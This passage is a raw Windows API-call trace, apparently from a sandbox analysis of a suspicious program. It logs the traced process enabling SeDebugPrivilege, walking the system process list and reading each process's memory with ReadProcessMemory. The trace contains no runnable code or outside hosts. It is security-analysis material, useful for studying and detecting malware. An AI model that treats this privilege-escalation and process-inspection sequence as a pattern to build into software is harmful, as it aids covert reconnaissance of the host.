lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.906] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x541c30, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.906] malloc (_Size=0x7a) returned 0xe87ca0 [0346.906] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5422ec, lpBuffer=0xe87ca0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87ca0*, lpNumberOfBytesRead=0x0) returned 1 [0346.907] free (_Block=0xe87ca0) [0346.907] CloseHandle (hObject=0xa9c) returned 1 [0346.907] _ui64tow_s (in: _Value=0x11e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4576") returned 0x0 [0346.908] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4576") returned 4 [0346.908] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.910] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.910] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e0) returned 0xa9c [0346.911] GetLastError () returned 0x0 [0346.911] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.911] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.911] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.911] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.911] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2228, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.911] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.911] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.912] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.912] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.912] malloc (_Size=0x6a) returned 0xea8ca0 [0346.912] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2290, lpBuffer=0xea8ca0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0346.912] free (_Block=0xea8ca0) [0346.913] CloseHandle (hObject=0xa9c) returned 1 [0346.914] free (_Block=0x2410080) [0346.918] malloc (_Size=0x48) returned 0xea7de0 [0346.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ed6c8 | out: lpSystemTimeAsFileTime=0x5ed6c8*(dwLowDateTime=0x88dbed6c, dwHighDateTime=0x1dac836)) [0346.918] SetEvent (hEvent=0x404) returned 1 [0348.739] SetEvent (hEvent=0x404) returned 1 [0348.739] free (_Block=0xea7de0) [0348.739] GetCurrentThread () returned 0xfffffffffffffffe [0348.740] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x5ed690 | out: TokenHandle=0x5ed690*=0xa9c) returned 1 [0348.740] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x5ed6cc | out: lpLuid=0x5ed6cc*(LowPart=0x14, HighPart=0)) returned 1 [0348.740] RtlRestoreLastWin32Error () returned 0x2ad000 [0348.740] AdjustTokenPrivileges (in: TokenHandle=0xa9c, DisableAllPrivileges=0, NewState=0x5ed6c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0348.740] GetLastError () returned 0x0 [0348.740] CloseHandle (hObject=0xa9c) returned 1 [0348.740] malloc (_Size=0x8000) returned 0xe9afd0 [0348.741] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xe9afd0, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0xe9afd0, ResultLength=0x0) returned 0xc0000004 [0348.743] free (_Block=0xe9afd0) [0348.743] malloc (_Size=0x10000) returned 0xeced60 [0348.743] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0348.746] free (_Block=0xeced60) [0348.746] malloc (_Size=0x18000) returned 0xeced60 [0348.746] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0348.748] free (_Block=0xeced60) [0348.748] malloc (_Size=0x20000) returned 0xf1af50 [0348.749] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xf1af50, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0xf1af50, ResultLength=0x0) returned 0xc0000004 [0348.753] free (_Block=0xf1af50) [0348.753] malloc (_Size=0x28000) returned 0x2410080 [0348.756] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2410080, Length=0x28000, ResultLength=0x0 | out: SystemInformation=0x2410080, ResultLength=0x0) returned 0x0 [0348.762] _ui64tow_s (in: _Value=0x0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0348.763] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="0") returned 1 [0348.763] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x97b9, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.763] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.764] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0348.764] CloseHandle (hObject=0x0) returned 0 [0348.764] _ui64tow_s (in: _Value=0x4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0348.764] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4") returned 1 [0348.765] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.765] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.765] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0348.765] CloseHandle (hObject=0x0) returned 0 [0348.766] _ui64tow_s (in: _Value=0x48, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="72") returned 0x0 [0348.766] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="72") returned 2 [0348.766] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.766] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.767] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x48) returned 0x0 [0348.767] CloseHandle (hObject=0x0) returned 0 [0348.767] _ui64tow_s (in: _Value=0x164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="356") returned 0x0 [0348.768] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="356") returned 3 [0348.768] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.768] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.769] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x164) returned 0x0 [0348.769] CloseHandle (hObject=0x0) returned 0 [0348.769] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0348.769] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="452") returned 3 [0348.769] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.769] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.770] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0348.770] CloseHandle (hObject=0x0) returned 0 [0348.771] _ui64tow_s (in: _Value=0x208, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="520") returned 0x0 [0348.771] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="520") returned 3 [0348.771] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.771] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.772] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x208) returned 0x0 [0348.772] CloseHandle (hObject=0x0) returned 0 [0348.772] _ui64tow_s (in: _Value=0x210, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0348.772] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="528") returned 3 [0348.773] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.773] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.773] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0348.773] CloseHandle (hObject=0x0) returned 0 [0348.774] _ui64tow_s (in: _Value=0x24c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="588") returned 0x0 [0348.774] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="588") returned 3 [0348.774] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.774] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.775] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0xa9c [0348.775] GetLastError () returned 0x0 [0348.775] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581f00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.775] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c00, lpBuffer=0x5ec5a0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.776] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.776] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5815b0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.776] malloc (_Size=0x1c) returned 0xecd3c0 [0348.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c42, lpBuffer=0xecd3c0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd3c0*, lpNumberOfBytesRead=0x0) returned 1 [0348.776] free (_Block=0xecd3c0) [0348.776] CloseHandle (hObject=0xa9c) returned 1 [0348.777] _ui64tow_s (in: _Value=0x264, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="612") returned 0x0 [0348.777] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="612") returned 3 [0348.777] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.777] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.778] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x264) returned 0x0 [0348.778] CloseHandle (hObject=0x0) returned 0 [0348.778] _ui64tow_s (in: _Value=0x26c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="620") returned 0x0 [0348.778] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="620") returned 3 [0348.778] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.778] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.779] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0xa9c [0348.779] GetLastError () returned 0x0 [0348.779] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.779] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403b00, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403758, lpBuffer=0x5ec5a0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.780] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.780] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x245020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403110, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.781] malloc (_Size=0x3e) returned 0xea77f0 [0348.781] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403794, lpBuffer=0xea77f0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea77f0*, lpNumberOfBytesRead=0x0) returned 1 [0348.782] free (_Block=0xea77f0) [0348.782] CloseHandle (hObject=0xa9c) returned 1 [0348.782] _ui64tow_s (in: _Value=0x2cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="716") returned 0x0 [0348.782] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="716") returned 3 [0348.782] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.782] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.783] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0xa9c [0348.783] GetLastError () returned 0x0 [0348.783] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.783] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.783] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.783] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf923a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf92058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.784] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.784] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xd14020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf91a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.784] malloc (_Size=0x26) returned 0xecd5d0 [0348.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xf920a0, lpBuffer=0xecd5d0, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd5d0*, lpNumberOfBytesRead=0x0) returned 1 [0348.785] free (_Block=0xecd5d0) [0348.787] CloseHandle (hObject=0xa9c) returned 1 [0348.787] _ui64tow_s (in: _Value=0x2d4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="724") returned 0x0 [0348.788] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="724") returned 3 [0348.788] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.788] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.789] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0xa9c [0348.789] GetLastError () returned 0x0 [0348.789] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.789] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.789] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.789] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae23a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.790] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae2058, lpBuffer=0x5ec5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.790] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.790] NtQueryInformationProcess (in: ProcessHandle=0xa9c, 